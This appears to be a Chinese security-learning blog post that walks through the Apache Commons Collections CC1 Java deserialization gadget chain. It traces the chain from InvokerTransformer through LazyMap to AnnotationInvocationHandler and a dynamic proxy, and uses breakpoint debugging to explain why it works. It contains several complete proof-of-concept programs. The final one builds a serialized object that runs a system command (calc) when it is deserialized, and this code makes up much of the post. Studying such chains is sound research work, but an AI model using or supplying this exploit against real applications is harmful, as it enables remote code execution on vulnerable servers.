这篇主要是深入理解一下CC1(加上动态代理等思想去审计)
从终点回溯
CC1主要是因为有一个Transformer接口,在其实现类中有一个InvokerTransformer的构造方法和transform调用了危险方法
这里就有点动态代理第一步的样子了(一个接口的实现类)
从Runtime开始,写InvokerTransformer的形式
import org.apache.commons.collections.functors.InvokerTransformer;
import java.io.IOException;
import java.lang.reflect.Method;
import static sun.reflect.misc.MethodUtil.invoke;
public class POC {
public static void main(String[] args) throws IOException, NoSuchMethodException {
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformerExec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
invokerTransformerExec.transform(r);
}
}
往上找调用了transform的
找到LazyMap::get里面有
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
看一下构造方法

受保护,但是有个public的static装饰器decorate调用了构造方法返回对象
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
分析一下get方法的逻辑
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
判断构造方法传入的map对象是否包含get方法传入的key
如果没有,就让factory的transform把key转换一下,再放到map里
factory是decorate方法传入的,由我们控制
也就是说get(key)如果key是Runtime对象,而且map里面没有这个键
并且decorate传入InvokerTransformer
那么调用的就是InvokerTransformer.transform®了
也就是返回method.invoke(input, iArgs)直接触发rce

这样直接就能触发
甚至不用走到put
所以当前链是
InvokerTransformer::transform->LazyMap::Decorate->LazyMap::get
POC
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.IOException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
import static sun.reflect.misc.MethodUtil.invoke;
public class POC {
public static void main(String[] args) throws IOException, NoSuchMethodException {
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformerExec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object,Object> map = new HashMap();
LazyMap map2 = (LazyMap) LazyMap.decorate(map, invokerTransformerExec);
map2.get(r);
}
}
往上找调用了get而且可控的,这个就很好找了(这玩意可太多了)
不对…这玩意太多了,反倒不好找,成千上万个
这里学习一下infer师傅的文章
关键在AnnotationInvocationHandler::invoke
这个类有点眼熟
其实就是另外一条checkSetValue链的终点(当然也是这条的终点)
跳过去看一下

可以发现AnnotationInvocationHandler里面是实现了JDK官方动态代理接口的,也就是说AnnotationInvocationHandler是一个调用处理器
(上一张图截漏了)

记住我们的目标:调用可控get

invoke有调用可控get
而且invoke在动态代理中是自动调用的
memberValues由构造方法传入
这不就是上一篇动态代理中的这个吗

传进去然后调用readObject自动触发invoke,美美rce收工
写poc,睡觉去
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
import static sun.reflect.misc.MethodUtil.invoke;
public class POC {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap();
LazyMap map2 = (LazyMap) LazyMap.decorate(map, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = c.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object o = construct.newInstance(Target.class, map2);
serialize(o);
unserialize("POC.txt");
}
public static void serialize(Object object) throws Exception{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("POC.txt"));
oos.writeObject(object);
oos.close();
}
//定义反序列化操作
public static void unserialize(String filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
ois.readObject();
}
}
是不是觉得没了,骗你的,压根弹不出哈哈哈哈
仔细分析一下吧
先看:真的调用invoke了吗?

打个断点看看

停住了
再看看有没有调用get

也调用了
看一下正确POC(感谢infer师傅)
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CC1_other {
public static void main(String[] args) throws Exception {
//序列化InvokerTransformer,反射调用exec函数执行命令。
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);
//动态代理
Class handler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructorhandler = handler.getDeclaredConstructor(Class.class, Map.class);
constructorhandler.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) constructorhandler.newInstance(Override.class,lazyMap);
Map proxyedMap = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, invocationHandler);
Object o = constructorhandler.newInstance(Override.class,proxyedMap);
serialize(o);
unserialize("POC.txt");
}
public static void serialize(Object object) throws Exception{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("POC.txt"));
oos.writeObject(object);
oos.close();
}
//定义反序列化操作
public static void unserialize(String filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
ois.readObject();
}
}
定位核心问题–>忘了写调用处理(相当于压根没用上动态代理)
Class handler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructorhandler = handler.getDeclaredConstructor(Class.class, Map.class);
constructorhandler.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) constructorhandler.newInstance(Override.class,lazyMap);
Map proxyedMap = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, invocationHandler);
Object o = constructorhandler.newInstance(Override.class,proxyedMap);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = c.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object o = construct.newInstance(Target.class, map2);
代理有三要素:代理谁,谁代理,要干什么
LazyMap链子里
代理谁->LazyMap对象
谁代理->Proxy
要干什么->AnnotationInvocationHandler::invoke
理清楚了逻辑,我们要让Proxy代理LazyMap,然后去调用AnnotationInvocationHandler::invoke
首先创建Proxy代理对象,它需要啥?
1.代理什么类?
2.代理什么接口
3.调用处理器是哪个?
这里缺什么?调用处理器的对象
那就先创建调用处理器
InvocationHandler handler = (InvocationHandler) construct.newInstance(Override.class,map2);
construct是AnnotationInvocationHandler的构造器,原生创建出来肯定是AnnotationInvocationHandler对象
所以可以强转一下
拿到调用处理器对象了
构造Proxy代理类
Map proxy = (Map) Proxy.newProxyInstance(c.getClassLoader(), new Class[]{Map.class}, handler);
这里有个涉及底层的问题,为什么可以强转Map,有不懂的师傅可以看这个

代理类也拿到了
是一个Map对象(强转的)
还记得刚才的目标吗?让代理类帮LazyMap去完成调用写在invoke方法里面的get
不创建动态代理就走不到invoke,所以只能用代理类去走
接下来就是触发
Object o = construct.newInstance(Override.class,proxy);
创建最终对象,让proxy去代替LazyMap
还有个小细节还是再走一下吧,就是关于readObject时的注解为什么可以是Override(Claude指出的,确实漏了这个)

这几个地方断一下点(之前那个TransformedMap链也是调的这几个)
慢慢调

annotationType没拿到东西,for循环那里直接跳了,压根没走
分析一下为什么
Type是我们传的Override
我们知道,Override是空的,没有成员,走到for或者是里面的if时就走不下去了
那为什么这里能走通
仔细看,memberValues是我们传入的proxy,也就是LazyMap的代理
我们并没有往LazyMap里面put值,它是空的,那Proxy肯定也是空的
Proxy是空的,for循环第一次遍历它就出去了
但是这一次遍历
for (Map.Entry<String, Object> memberValue : memberValues.entrySet())
memberValues.entrySet()被触发了
entrySet()是代理类Proxy的,或者说是LazyMap类的

这里可以看到,只要实现Map接口都有entrySet
这里就是一个方法调用,有了方法调用,触发invoke,然后反序列化触发readObject走完全程
评论(0)
暂无评论